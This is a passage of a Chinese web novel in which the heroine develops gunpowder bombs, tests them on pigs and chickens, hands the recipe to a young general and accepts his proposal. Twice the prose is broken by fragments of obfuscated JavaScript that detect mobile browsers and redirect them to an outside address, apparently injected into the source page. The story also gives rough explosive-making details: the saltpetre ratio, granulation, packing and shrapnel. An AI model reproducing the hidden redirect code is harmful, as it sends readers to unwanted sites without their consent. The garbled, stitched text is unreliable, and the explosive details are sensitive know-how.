苏云道：“我现在还不到十四，年龄太小，而林大哥已经十八，想来家里应该已经为他定下了亲事，若是还没有，应该也有了中意的人家。就算林大哥对我有意，他又能等多久？此是第一；” “第二就是，嬷嬷也知晓，我并不是想追求什么权势的人，只想赚点钱过闲散的日子，现在攀龙附凤，不过是为了保留好自己手里的一点产业而已。若是真嫁入国公府，必然会成为国公府主母，一大家子人，势必斗得鸡犬不宁，实非我愿；” “最后一点，今天你也看到了，北边很可能会在近期爆发大规模战争，一旦爆发战争，没有几年是平定不下来的，而且战争中胜负难料，万一失败，轻则被削去爵位，重则还可能锒铛入狱，甚至招来杀身之祸。就算侥幸胜了，还需要常年镇守边关，不得相见，这样嫁过去，和守活寡又有什么两样？林大哥是不错，但他是国公府世子，守护边疆是他的责任，可我并没有这份责任。林大哥这样的人，做大哥挺好，做夫妻，暂时不用考虑。” 王嬷嬷见苏云谈到自己的婚事，没有一点小女儿家的羞涩，倒像是在谈别人的事情，好生惊奇，却只得道：“小姐顾虑也不无道理。” 苏云道：“算了，林大哥没有明面上说这个事情，我们也没必要杞人忧天。你现在安排人，去采购一些硝石、木炭和硫磺，每样要两大袋。另外，你去铁匠铺定制一些铁器，不用讲价，就说明天要来取，做出多少先取多少。” 说罢，画了图纸，递给王嬷嬷，王嬷嬷接过，并不问为什么，答应一声就出去安排。 苏云打坐了一会儿，黎大为求见。苏云道：“大为这是有什么事？”黎大为道：“回小姐话，今天是接卧云醉酒瓶的日子，酒瓶已经在柳河庄工坊安顿好，只是陶瓷掌柜送了一封信过来，说是已经有人在打听是谁定制的酒瓶了。”说着，递上一封信。 苏云结果，工坊掌柜在信上简单说了一下有人打听的过程，强调自己并没有透露任何信息。 苏云道：“那你觉得应该怎么处理这个事情？” 黎大为道：“若只是一般人打听，并不足为惧，以现在县主的身份，侯府以及国公府站台，一般人掀不起什么浪花。就怕是有背景的王爷级别，就不好对付了。在下已经跟他们说了，暂时不要再生产酒瓶，并且把所有痕迹都销毁等，且这一阵风头过去再作打算。” 苏云思忖道：“你的做法不错，不过人家既已打探到了陶瓷工场，应该已经有了线索。工场工匠不少，我们的酒瓶生产数量庞大，就算掌柜不说，找工匠打听，难保不会寻到蛛丝马迹。好在我们用的是假名，且每次交货都在城外，一时半会应不会寻到我们，但我们不能不早作打算。这样，你回去，成立一个巡防队，先招十多个青壮，在柳河庄和槐树村两头设立关卡，派人轮流守护，不是工场里的人，一个也不能放进去，夜里也要巡视，只说是护卫县主府即可。若是遇到打听秘密的人，直接拿下。还有，涉及关键工种的下人，也要给他们提个醒，这涉及到县主府的存亡，若是敢泄露半个字，一家人就都别想活了。” 苏云声音冷冽，黎大为忍不住打了一个激灵，忙道：“我这就去安排。” 苏云道：“还有一个事，这几日我会回柳河庄，安排好之后，你和杨三叔去驿站，陪陪张叔和少将军，那些兵士你熟，事情好办一些，费用不必担心，尽管大方一些，记账清楚就是。 48. 第 48 章 48、□□ 柳河庄小院里，苏云看着眼前的几个袋子，默想着前世关于火药的记忆。王嬷嬷看得疑惑，道：“小姐这是要做什么？” 苏云笑道：“做烟花。”王嬷嬷道：“小姐要做烟花生意？”苏云笑笑，没言语。 苏云曾经报考过军校，那一段时期对军事有一些简单的了解，记得在一个军事历史论坛上看过□□的制造比例，传统是“一硝、二磺、三碳”，但在后面又看过改进的现代的比例，记得好像是硝石75%，碳和硫磺的比例不是很清楚了，没办法，只能一点一点试试了。 先把硝石比例确定了，找来一排小陶瓶，按照不同比例一瓶一瓶地配置，装瓶，再在瓶上贴上数字标记，这样装了差不多二十瓶。又让人找了一些纸，上面抹上硝石粉，做成引线，密封好。然后叫上三牛，主要是他身子灵活，跑步速度比较快，把陶瓶装在篮子里，自己拿着纸笔，一起去了小雀山后面的荒山。小雀山现在种植的是各种花木，现在还没有开春，所以旁边并没有人。 找到一处不大的空地，苏云对三牛道：“三牛，你先拿一瓶过去，然后用火折子点燃引线，注意，点燃后，马上跑回来，小心爆炸伤着自己，一定要快。” 三牛点点头，小心翼翼拿了一号瓶，走出几丈远后，将陶瓶放在一块石头上面，点燃后引线后，快步跑开。因为是第一次实验，引线用得比较长，所以并没有太大危险。点燃引线，三牛跑过来，和苏云、王嬷嬷躲在一块大石后面，探出头看着。只听砰的一声，陶瓶爆炸，残片到处飞舞。没想到第一瓶就成功了，苏云赶紧记下情况。 二十多瓶实验完毕，有的爆炸效果比较好，但也有一小半是闷炮，嗤嗤一阵就响后就没了下文，甚至还有两个引线都没有燃尽。就总体而言，爆炸威力都显然不够。 三牛道：“小姐，这个不错，要是用到打猎上面，野物都要被炸碎。”苏云道：“还不算成功，回去还得再琢磨琢磨。今日之事，切记不要对旁人说起。” 回到小院，吃过午饭，打坐一阵后，苏云又开始研究起来。上午的实验，倒是让苏云记起来以前好多关于□□的记忆。于是把上午的记录拿出来看看，进行一阵归纳分析后，找到了不足之处，比如，不能用粉末填充陶瓶，需要做成小颗粒，装填的密度要注意，紧实度要适中，太实太松都不行，引线还是加长一点，毕竟试验阶段，安全第一。引线的放置也是很重要的，前面都是随意插进去的，现在需要先把瓶口密封好，然后用长钉穿出一个比引线要窄一些的洞，一直要穿到瓶身的中心，然后插上引线，再把洞口密封好。 又按照不同的标准做出了二十来个，有些在里面还添加了一些碎陶片，最后用一个大一点的陶罐做了一个。然后让三牛抓了两只鸡，王嬷嬷提着篮子又去了小雀山后面的荒山。 还是那块平地上。这一次，陶瓶没有闷炮，而且威力比上午大了许多，三牛去点引线都有点战战兢兢了。 还剩下几个，苏云想看看具体的杀伤力，让三牛把一个陶瓶绑在一只鸡身上，点燃引线，只听一声爆响，鸡毛和着内脏、血液到处乱飞。 苏云大喜，用里面装了碎陶片的陶瓶，再用剩下的鸡试验了一次，结果比上一只鸡更惨，几乎要粉身碎骨了。三牛和王嬷嬷都有些吓呆了。看看还有那个大一些的陶罐，干脆来一个大的，让三牛回去牵了一头百多斤的猪来，绑在石头上，把陶罐放在猪的肚子下面。 这一次的爆炸，声音震天响，猪的惨叫声都还没有完，肚子被炸出一个大洞，惨不忍睹，内脏和血污飞溅，三人身上都被波及不少，很是狼狈。 三牛和王嬷嬷都惊呆了，暗想，这就是小姐说的炮仗、烟花？苏云拍拍手，道：“不错。回到院子肯定会有人问起，就说不知道怎么回事，可能是有人在放炮仗就行。三牛，把死猪扛回去，晚上加餐。嬷嬷，回去别忘了给三牛一两银子。” 回到小院，苏云又重新画了几张图，让三牛进城，去铁匠铺取王嬷嬷定制的铁器，并让铁匠师傅按照新图重新再做二十个，如果前面的没有做完，就不用再做了，今天的要先做，后天上午就去取，能做做少是多少。然后去找黎大为和杨三叔，让他们后天把张叔和少将军带来柳河庄。 看看时间还早，就想着去工场看看。到得工场门口，两个青壮在守门，正好被大壮看见，忙过来陪着苏云巡视，只见工场一派热闹忙碌，各个作坊都在生产，进原料、拉货，都井然有序，苏云见没有什么事情，叮嘱大壮几句，让他把所有关键工种的人晚上集中一下，她有事要说。然后就回柳河庄了。 吃过晚饭，苏云嫌王嬷嬷行动慢，只说自己想一个人出去走走，不用王嬷嬷陪着。王嬷嬷虽有些不放心，但知道苏云的身手，也就不再多说。 苏云走出小院，走出庄子，此时天色也渐渐暗下来，见四下无人，便发足狂奔起来，注意自己的呼吸配合，不到半刻钟，便已经能看到工场，于是放慢脚步，缓缓走过去，有两个青壮在路口守着，大壮和阿牛也在门口等着苏云。 二人上前道：“见过小姐。”苏云道：“路口要修一间小屋，不然太冷。小屋里面能摆一张小床，桌椅，守夜的两人，每人守半夜，切记，一定要同时两个人在场，不能一个人代守。”二人答应。 二人将苏云迎进了一间现在空着的作坊，里面坐着十多个有身契的关键工种的男女劳工。见苏云进来，都起身行礼。 苏云笑着摆摆手，示意大家坐下，道：“最近事忙没来看大伙儿，这一阵大伙儿都辛苦了，可有什么为难的事？” 众人齐道：“多谢县主关心，吃得好睡得好，活也不重，并无什么为难的事情。” 苏云笑笑：“这种日子，可还满意？” 众人道：“神仙日子，以前都不敢想，哪有什么不满意的？” 苏云正色道：“大伙儿满意就好。今日过来，主要是有一个事情要给大伙儿交代一下。”说着，语气变得冷冽起来：“你们也知道，本县主的产业，也都靠你们手里的活计，说起来，这些活计都不复杂，传出去一星半点，我们就会被人盯上，若是产业被别人夺走，本县主的产业就没了。不过产业没有，本县主还是县主、侯府嫡小姐，也不至于饿死；但你们就不一样，若是产业没了，本县主就养不起大伙儿，只得将各位转手卖出去，至于会不会一家人分开，后面主人会怎生待你们，就只能靠运气了。” 众人听得心惊，但都没有言语。 苏云继续道：“所以，我还是那句话，跟着本县主，本县主绝不会亏待你们，你们虽是签了身契的，和其他劳工一样，也是一样算工钱的，工场开工两个多月，相信各位也存下了不少身家。” 众人笑了起来。 苏云道：“想要保住自己和家人，还要攒钱，就一定要管好自己的嘴，作坊里面的事情，不准向外人透露一个字，哪怕自己家里人也不行，切记，不是说笑，一旦产业完蛋，你们的饭碗，包括你们全家的命，也就到头了。” 众人正襟危坐，不敢说话。 苏云厉声道：“本县主再说一次，只要查到有人泄露了作坊里面的事，不管有意无意，全家都会打三十大板，然后分开发卖。若是有人将方子泄漏出去，全家直接活埋，也不用发卖了，攒下的钱，就分给大伙儿。不妨实话跟大伙儿说，最近有些人在周围开始打听我们作坊的秘密，想是已经盯上了我们的方子，他们直接打听，我倒是不担心，相信大伙儿都会守口如瓶，但若是使些小手段，那就不好说了，比如给钱，比如制造一些意外，扮做救命恩人什么的，方法可谓多种多样。但只要你们自己不往外说，什么事没有，若是嘴巴不严，后果就只能自己担当。另外，还有一种情况，大伙儿要注意，就是被人绑架，严刑拷问，也是有可能的。若真遇到这种情况，本县主自会全力救助。只要你能守住秘密，就算救不出你，你的家人本县主也会善待，让他们一辈子不缺吃穿，如若经不住酷刑，泄露了方子，全家仍要活埋，大伙儿可曾明白？” 众人面色发白，都点点头。 苏云话语一转道：“若是真的被绑架，光靠硬挺也不行，可以说自己是制作肥皂工序的，跟他们说说肥皂的制作是可以的，能拖一阵是一阵。为了做的逼真，你们每个都要去肥皂的每个作坊轮流做两天，这个就让黎总管来安排。总之，工场就是你们的命根子，工场在，你们全家都在，好日子就还在；工厂没了，你们全家也会跟着陪葬。” 训话出来，又去看看县主府，进度正常，估计还有一个月就能大致完工了。 晚上自然又打坐，练习鞭法不提。 次日辰时，三牛就回了柳河庄，带着十多个制作好的铁球。这些铁球，普遍偏大了一点，不过没关系，先试验一下再说。按照昨天的做法，全部装填完毕，重新来了一遍，爆炸的威力远超瓷瓶，只是成功率只有不到七成，苏云分析，应该是铁皮太厚，有些火药偏少，爆炸力没能炸开铁球。 翌日一早，三牛又带着二十个铁球回来了，这一次大小合适，铁球厚薄也均匀，做了十个铁球，结果是九成都理想。苏云终于松了一口气。小院里以前住的人基本都去了工场，平时也住在里面，小院的空房间很多，苏云让人打扫了几间出来，被褥都换成新的。又吩咐下人准备好吃食，等着下午林涵功他们过来。 苏云将剩下的铁球装填好四五个。黎大为、杨三叔他们就带着林涵功、张叔就来了。见过礼，张叔大笑：“好侄女，大老远把我们叫来，是有什么好东西要让我们瞧瞧？快别藏着掖着了，拿出来看看吧。” 苏云道：“张叔还是急性子，也不喝点茶再说。”张叔道：“喝什么茶，不渴。是什么物事？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205778|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏云从篮子里拿出一个铁球，道：“就是这个，一会儿请大家看烟花。”张叔一下就抢了过去，仔细看看，道：“就这个铁疙瘩，是烟花？”苏云赶紧拿过来，道：“张叔别乱动，危险。”张叔道：“一个铁疙瘩而已，有什么好怕的？小姑娘就是小气！”林涵功道：“张叔，客随主便，听云妹的安排吧。”张叔这才安静下来。 苏云道：“既是大家都想尽快看烟花，那这就去吧。”张叔道：“还青天白日的，看什么烟花？烟花不是晚上才看吗？”苏云道：“这个烟花不同，是杀人的烟花，这就去看看吧。” 黎大为先去工场看看，其余人等来到那块空地，三牛早就牵了两头猪拴在那边候着，那块空地经过多次实验，已经被炸得坑坑洼洼，四周树木都剩下残枝败叶，王嬷嬷有些心惊胆颤。 三牛拿了一个铁球过去，放在一块石头下面，点燃引信，转身狂奔过来，王嬷嬷也赶紧将双耳蒙上。众人不明所以，只听一声巨响，只震得双耳发懵，再看那块不大的石头，已经碎成几块。两只猪也狂躁不已，却挣不脱绳索。 张叔和林涵功对视一眼，都面露喜色。张叔道：“好侄女，这是什么东西，竟然如此威力？” 苏云道：“这是我这两天鼓捣出来的霹雳雷火弹，你们看可还行？” 张叔道：“这也太行了，若是放在战场上，别说爆炸的威力，就是这一声响，也能把蛮子的马匹惊得四处乱串。” 苏云道：“诸位再看看实际的杀伤力。”三牛听闻，将一头猪解开牵过去，拴在空地边的一颗树上，放了一颗铁球在猪的肚子下，点燃后立即跑开。又是一声巨响，铁球爆炸，这只猪立时毙命。这颗铁球里面有铁蒺藜、弹珠之类的东西，杀伤力很大，猪肚炸出一个大洞，身上也满是弹孔，躺在地上，血流不止。 张叔大叫起来：“这也太猛了！”林涵功道：“这个烟花的有效范围多大？”苏云道：“三丈内应是有效的。” 又让三牛把猪牵过去，拴在一个石头上，然后跑开。苏云亲自点了一个铁球，眼看引线差不多了，轻轻一扔，落在猪身旁一丈开外，只听一声爆响，炸弹仍然把猪炸得满身是血，倒地毙命。 张叔看得兴起，道：“我也来一个？”苏云笑笑，递了一个给他，道：“让扔就立刻扔出去。千万别留在手里就爆炸了。”张叔点燃，马上就想扔掉，苏云道：“再等等。”看看差不多了，道：“扔！”张叔用力一掷，掷出十多丈远，落在了山坡上，又是轰的一声，炸得山石乱飞。 张叔赞道：“我的个乖乖！”看看还有一个，林涵功也跃跃欲试，苏云笑着给了最后一个。林涵功如法炮制，也是炸得山石枝叶乱飞。 苏云见杨三叔若有所思，便道：“杨三叔，有甚想法，我们先回小院再说如何？”杨三叔笑着点头。 回到小院，众人坐定，王嬷嬷为众人奉上茶。 张叔道：“好侄女，你是怎生想出这般利器的？”苏云道：“自是龙王给的。本来还应有大炮，只是我已记不清楚具体结构，没法做了。先做出这个霹雳雷火弹，可暂用抛石机发射，虽说射程近一些，但还是有些效用的。” 林涵功道：“云妹，这个制造起来难不难？”苏云道：“说难并不难，要说容易，也并不容易，主要靠经验。这里还有几个，一会儿你们可以自己尝试做一下。” 张叔、林涵功大喜。苏云道：“张叔，林大哥，你们准备什么时候回祁州？”林涵功道：“我的伤已不碍事，今日就是来和你告别，明日就要返程了。” 苏云掏出几页纸，递给林涵功道：“张叔、林大哥有军务在身，不便强留，凡事都以国家安危为先。我将这个霹雳雷火弹的方子给你们，你们回到祁州，找工匠照着制作就行，不过切记要注意安全。存放地点一定要注意通风、干燥，千万不能潮湿，否则会哑火的，更不能见到明火，不然容易引起爆炸。我在这个上面都写得很明白，一定要小心。” 林涵功结果，看了几眼，只见上面秘密麻麻都是字，还有不少图形，想是很详细。于是郑而重之收起来，站起，对苏云拱手道：“云妹大义，涵功终身不忘。”张叔笑道：“傻侄儿，是应该终身不忘。” 苏云看张叔要把话引偏，赶紧看了一眼王嬷嬷，王嬷嬷掏出一叠银票递给苏云，苏云接过，递给林涵功道：“林大哥，军务上的事，小妹也不懂，这里有两万两银票，就算是小妹一点心意，可充制作霹雳雷火弹的费用。”林涵功一听，连忙摆手：“怎可如此，承蒙惠赠方子，已是感激不尽，哪里还敢要云妹的银子？” 苏云笑道：“国家兴亡，匹夫有责，小妹身为女子，不能冲锋陷阵，上阵杀敌，这点银两，也算是为边境安危出一点力而已。若是林大哥不收，定是嫌银子太少了。” 林涵功听她如此说，不好再拒绝，只得收下。 49. 第 49 章 49、少将军的表白 张叔道：“好侄女，真是巾帼不让须眉，张叔真是太喜欢你了，来来来，干一杯！”大家举杯，一饮而尽。 苏云道：“张叔、林大哥，既然想亲手装铁疙瘩，现在就去吧，要不醉了，把握不好手感。” 张叔道：“正是，吃饭嘛，什么时候都可以，好侄女，这就去弄。” 在苏云指导下，张叔、林涵功和杨三叔各自装填了一个，又去了那块平地，每人扔了一个霹雳雷火弹，都爆炸了，喜得张叔咧嘴大笑。 回到酒桌上，王嬷嬷已经让人重新热了饭菜。 林涵功道：“有此利器，不怕北蛮来犯了。” 苏云道：“此是小道，真正能起到防范作用的，还是要把城池修建好，再把武器打造精良些才是。”林涵功道：“的确如此！” 苏云又道：“按照现有条件，霹雳雷火弹固然可以在攻防之时起到一些作用，但是如果有一支灵活部队，穿插在敌军后方，效用应该更大。”林涵功道：“云妹说的灵活部队，是什么？”苏云道：“就是从全体兵士中选取各项技能都拔尖的兵士，专门组成一支部队，平时多加训练，战时不是用来正面对抗敌军，而是用于突袭，穿插到敌人后方，出其不意，制造混乱，或者直接擒拿敌首，这种部队，就叫特种部队。” 张叔刚喝了一杯，想了一下，就被用力砸在桌面上，道：“好办法。若是这个什么特种部队，绕到后面烧毁敌军粮草，那作用真是非同小可。” 苏云道：“正是，每人带上几颗霹雳雷火弹，更是事半功倍。这个霹雳雷火弹，可以根据需要，里面加上铁蒺藜、铁蛋、瓦片什么的，杀伤力更强，也可以调节填充时的松紧力道，做成□□，专门用来引火用，还可以在里面放置毒烟、毒药什么的，根据不同情况适用。” 张叔道：“我的个乖乖，好侄女，我真想把你的小脑袋瓜子敲开看看，里面究竟怎么长的，怎么什么事你都懂啊！” 苏云笑道：“张叔手下留情，我还没有活够呢。”众人大笑。 林涵功道：“云妹说得有理，我这回去，就跟父帅汇报，组建一支特种部队。” 苏云见差不多了，道：“不说这些了，大伙儿尽管吃喝，今晚就在小院歇息，明日再启程吧。我已经让人去通知兄弟们，卯时在官道会合。”张叔道：“侄女安排得甚是妥帖。改日有机会，也可来祁州玩玩，看看北边风光。”苏云道：“张叔哪里是邀我去玩，分明是想喝我的卧云醉了！”张叔老脸一红，大笑：“看破不说破嘛，就你这女娃聪明！” 酒足饭饱，各自歇息。 苏云请来了杨三叔，道：“杨三叔，这两日可好？”杨三叔道：“天天吃喝玩乐，没什么不好的。”苏云道：“今日的霹雳雷火弹，想来杨三叔也想将之用在暗器之上。我当然也想过，只是现在还不行，需要点燃引信，这个在打斗时肯定来不及，除非不用点火，扔出去就能爆炸。个中的要点，尚需琢磨。” 杨三叔说：“正是如此。”苏云道：“杨三叔的清风一指，功效大略相同。”杨三叔道：“各有各的效用。清风指不用携带，随时可用，自是方便，但不能连续使用，四五次后，就需重新调整气息。若是小姐真能研制出不用点火的霹雳雷火弹，那就有多少用多少，且威力更霸道。” 苏云道：“如此看来，还是清风指更佳。”杨三叔笑道：“小姐不必着急，你我虽无师徒之名，却有师徒情分，今日见你的聪明才智，还有一腔爱国爱民之情，更是打心底喜爱和佩服。你的追风鞭已经学完，可以考虑学清风指了。清风指虽是你林二伯的独家手艺，我传给你，想来他也不会有什么不愿。只是练习这清风指，须打通任督二脉之后方可练习。不着急，一步一步来。” 苏云脸红：“原是小女子贪心，得陇望蜀，让杨三叔见笑了。” 王嬷嬷来报：“少将军求见。” 杨三叔道：“你们谈，我且去歇息。” 王嬷嬷知道他们要谈什么事，奉茶后借故出去。苏云道：“林大哥可还住得习惯？”林涵功道：“在北边住的简陋，吃食也随意，这里真是样样都好，没什么不习惯的。”苏云道：“北地荒凉，林大哥要注意保重身子。不知林大哥找我可有事？” 林涵功脸色涨红，嗫嚅着说不出话，苏云看出他的用意，只瞧着他淡淡的笑。 林涵功看了一眼苏云，只觉得小姑娘明眸皓齿，心里越发紧张，汗都快流下来了，憋了一阵，终于下定了决心，开口道：“云妹，自上次相遇，愚兄就心悦于你，回京之后一直都惦记，家里叫说亲相看，愚兄都拒了，不知云妹心里怎么想？”说罢，猛地喝了一口茶，然后直直看着苏云，期待苏云的回答。 苏云看他满脸通红的样子，倒是有些怜惜。顿了顿道：“林大哥看重我什么？”林涵功道：“愚兄嘴笨，也说不清，也不会甜言蜜语，就是觉得你和京城那些大家闺秀不一样，你看起来比她们洒脱，不扭捏，聪慧，处事干练，有一股子飒爽的英气，是个奇女子。” 苏云道：“林大哥不喜娇滴滴的贵女？”林涵功道：“着实不喜，或许在北地呆得有些久了，不知何故，看着她们故作娇柔的样子，就莫名有些心烦。” 苏云道：“能得林大哥看中，本是小妹的荣幸，只是小妹尚不满十四，谈论婚嫁尚早了些，且小妹现今是县主，婚嫁之事，除了父母之命，尚需皇上的同意才可。” 林涵功道：“这些不是问题，愚兄可以等，待小妹及笄之后再说，至于皇上允准，只要我们双方同意，想来圣上不会阻挠。” 苏云道：“若是小妹同意，林大哥能为小妹做些什么？” 林涵功道：“做些什么？做些什么？自然是等母亲老后，做国公府主母，保证小妹一生的尊贵荣华。” 苏云道：“然后呢？” 林涵功道：“保证不纳妾，府里就只有云妹一人。” 这才是重点，苏云道：“既然林大哥坦诚，小妹也实话实说。小妹虽出生侯府，却并不得宠，流放到了柳河庄。前些年日子着实过得艰难，幸得龙王委托重任，这才有了些改变。现在也有一点产业，吃穿应是不愁的。小妹自小散漫，不喜权势，更不喜大家族的繁文缛节，对大家族里的明争暗斗也是敬而远之，无意攀附，只喜欢跟以后的郎君厮守终老，平淡一生。林大哥是国公府世子，人品长相自不必说，都是万里挑一，上上之选，但日后定是要继承爵位，又是镇边的大将军，必定会常年戍边，不得回京。如此一来，与小妹的想法大相径庭，怕是只能辜负林大哥的好意了。” 林涵功大囧，面色发白，双手竟有些微微发颤。正不知所措间，张叔闯了进来，王嬷嬷跟在后面，想要拉住他，却哪里拉的住，原来他们已在门口听了多时。 张叔道：“好侄女，你这想法不太对。不是老张自夸，涵功真的是品貌一流，和京中那些纨绔子弟相比，说是天壤之别也不为过。如此好的后生，你若是错过，只怕要留一辈子的遗憾。” 苏云道：“林大哥品行端方，小妹自是钦佩的。” 张叔道：“这不就结了？自古女子嫁人，不就是要嫁上进且品行端方的郎君吗？小侄女你别先忙着拒绝，待张叔给你分析分析。”说着自顾自坐下来，王嬷嬷无奈，只得给他斟了一杯茶。 苏云道：“请张叔指教。” 张叔道：“小女娃鬼聪明，张叔哪里敢真正指教什么。只是毕竟虚活了这几十年，一些事情也看得透些。小侄女你想，你的婚事可是由你自己做主？” 苏云沉吟道：“很难。” 张叔道：“自古以来，女子婚事都是媒妁之言，父母之命，岂是你个小女娃能做主的？你想想，就算按照你自己的想法，若是看上一个闲人，侯府能答应？皇上会应允？再则，侄女看中的闲人，多半贪图侯府的富贵，这样之人，以后外出花天酒地，夜不归宿，你又当如何自处？按照侄女的性格，必定看不惯，你是准备和离还是准备被休？若是真想要脱身，必定让你脱上一层皮。且脱身之后，又能找到什么样的如意郎君？” 王嬷嬷也道：“是啊，小姐，少将军品行端方，又是国公府世子，确是良配。如若认识别的闲人，不会有这么多时间去了解他，万一人品不好，那可咋办？” 张叔继续道：“自古婚嫁，讲的就是门当户对，门第太弱的，闲人也许很好，但是你要面对的，可不止他一个人，还有他一大家子人，尤其是穷苦出身的婆母，全部希望都在儿子身上，你嫁过去，和她抢儿子有什么两样，她会给你好脸色？大乾朝以孝治国，一个孝字压死人，你奈何不了她，还不说必定会有一大帮穷亲戚趴在你身上吸血，必有各种想不到的琐事让你烦不胜烦，不得安宁。我这里就给你打包票，国公夫人性情温婉，是个极好相处之人。况且国公府百年根基，家大业大，断不会为了几两银子闹得鸡犬不宁。涵功自己也绝不会乱来，若是他动了三妻四妾的歪心思，不用你张口，张叔第一个就饶不了他。涵功，你说话。” 林涵功打蛇随棍上，道：“愚兄只对云妹一人有意，可以发誓，绝不会有第二人。” 张叔又道：“至于常年戍边 ，也好解决。侄女不是拘于俗礼之人，天南海北都可去得，何妨就去祁州，长相厮守？这样也可免去家宅争斗，岂不是两全其美？虽说北地苦寒，必不会冻饿了你去，只要夫妻恩爱，何处不是家？” 张叔一通输出，唾沫乱飞，苏云却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205779|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有注意到这些，心里翻江倒海，受到猛烈撞击，不得不承认张叔说得对，自己考虑没有这么全面。自己以前的想法着实太过单纯，基本是按照前世的生活方式来考虑这个问题的，放在现在，显然有些行不通。一时心乱如麻，脑子里很是混沌，拿不定主意。 顿了顿，苏云道：“张叔所言，的确很有道理。”张叔大笑：“怎么样？你张叔这几十年也不是白活的，哈哈哈！” 苏云继续道：“这事突然，一时没有主意，待我斟酌一晚再说如何？”王嬷嬷赶紧帮腔：“正是，此时关乎小姐终身，不可操作过急。今日已晚，何不明日再说？明日需早起，请先回屋安置吧。” 林涵功道：“是大哥唐突了，自是需让云妹考虑周全才是。” 两人走后，苏云看着王嬷嬷欲言又止的样子，笑道：“嬷嬷，我知道你都是为我好，有何想法不妨说说。”王嬷嬷道：“小姐也别怪我多嘴，张将军的话，并不是没有道理的。少将军出身高贵，品貌、武艺都是一流，的确是上上之选，且对小姐也是爱慕有加。小姐顾虑的那些情况，张将军也说的很是明白了。主要吧，你和少将军的情分，是几次交道处出来的，要是回到侯府后，断不会有此等机会让你接触别的公子，到时怎么分辨那人的品行呢，现成的岂不是更有把握？京中大族，讲的是联姻，谁会管你小辈喜欢不喜欢？若是随便给你定一户人家，比少将军可就差远了。常言道：家家有本难念的经，高嫁低嫁，每家都会有一笔糊涂账。要想完全按照预想的走，委实太难，与其想着以后不明确的，不如抓住眼前的。小姐不妨好好斟酌斟酌。” 苏云道：“嬷嬷说的是。我也觉得自己以前想法过于单纯，很多事情都没有考虑进去。” 苏云躺在床上，反复思量。苏云虽是小女孩身体，内心却已有三十左右，按照上一世的经历，并不对恋爱有什么幻想，只想一辈子过得顺当。对于林涵功，虽说不上倾心爱恋，但的确也是很有好感的，以后真若嫁给他，自己也不会排斥。也难保再多接触，自己不会真的爱上他。何况林涵功对自己很是倾心，这就足够了。这桩婚事，应该是目前最好的选择。 睡不着，干脆起身，盘腿打坐，思绪这才渐渐平静下来。 次日一早，苏云起身，因为想到张叔他们还在，怕弄出什么动静，就没有练习鞭法，洗漱完毕，打开了院门，却见门边蹲靠着一个身影，似乎睡着了，原来是林涵功。苏云很是奇怪，弯腰拍拍他，道：“林大哥，怎生在这里，没有在屋里睡觉？莫非屋子太过简陋不习惯？” 林涵功站起，一脸羞涩，道：“不曾不习惯，半夜睡不着，想早些听到云妹考虑的结果，又不敢敲门，只好在外面等着，不想却睡着了，让云妹见笑了！” 苏云心里很是感动，道：“林大哥何须如此，倒是小妹的不是了。”林涵功道：“是愚兄心急，与小妹无关。” 苏云笑道：“你就一个傻子，也不知道怎么当上将军的。”林涵功脸也有些红。苏云道：“昨晚所说之事，若林大哥仍旧有意，小妹无有不允。”林涵功大喜道：“果真？那可太好了！” 苏云等他高兴了一小会儿，又道：“只是小妹年纪尚幼，若是提亲，尚需等一年半及笄以后，若是以后生子，须得年满十八之后方可，不知林大哥可否？”苏云知道，古时候女子生育非常艰难，一只脚都会踏进鬼门关，很大一个原因是产妇生育太早，自己身体发育还不成熟。 林涵功道：“并无不可，一切依云妹所言！” 苏云道：“此去祁州，有许多日不能相见，大哥要注意保重身体。” 林涵功道：“愚兄自会注意。云妹也要保重，若是遇到日后有解决不了的事情，可向国公府求助，必会倾合府之力帮衬！”苏云道：“多谢大哥！” 说话间，张叔过来，看到二人，便道：“好侄女，昨晚说的事可想好了？”苏云到底还是小姑娘，有些羞涩，没有说话。林涵功忙上前去拉张叔，张叔道：“你小子拉我做甚？小侄女，你还没说呢。” 话还未说完，就被林涵功拉着走远去了。不多时，就听得张叔传来的大笑声。 吃过早饭，苏云、杨三叔、黎大为等一行，送张叔和林涵功上路，到得柳河庄桥上，苏云让王嬷嬷给他们捎上两箱卧云醉，道：“张叔、林大哥，就此别过，祝一路顺风，盼早日回来。”林涵功道：“云妹保重，愚兄这就去了！”然后轻声道：“多写信。”苏云低着头，点了点。张叔也道：“好侄女，要是想老张了，就写信过来，只是别忘了顺带捎点好酒！”众人大笑。 张叔、林涵功跨上马背，拱拱手，挥鞭而去，朝霞映照下，扬起一阵尘土！ （第一部完）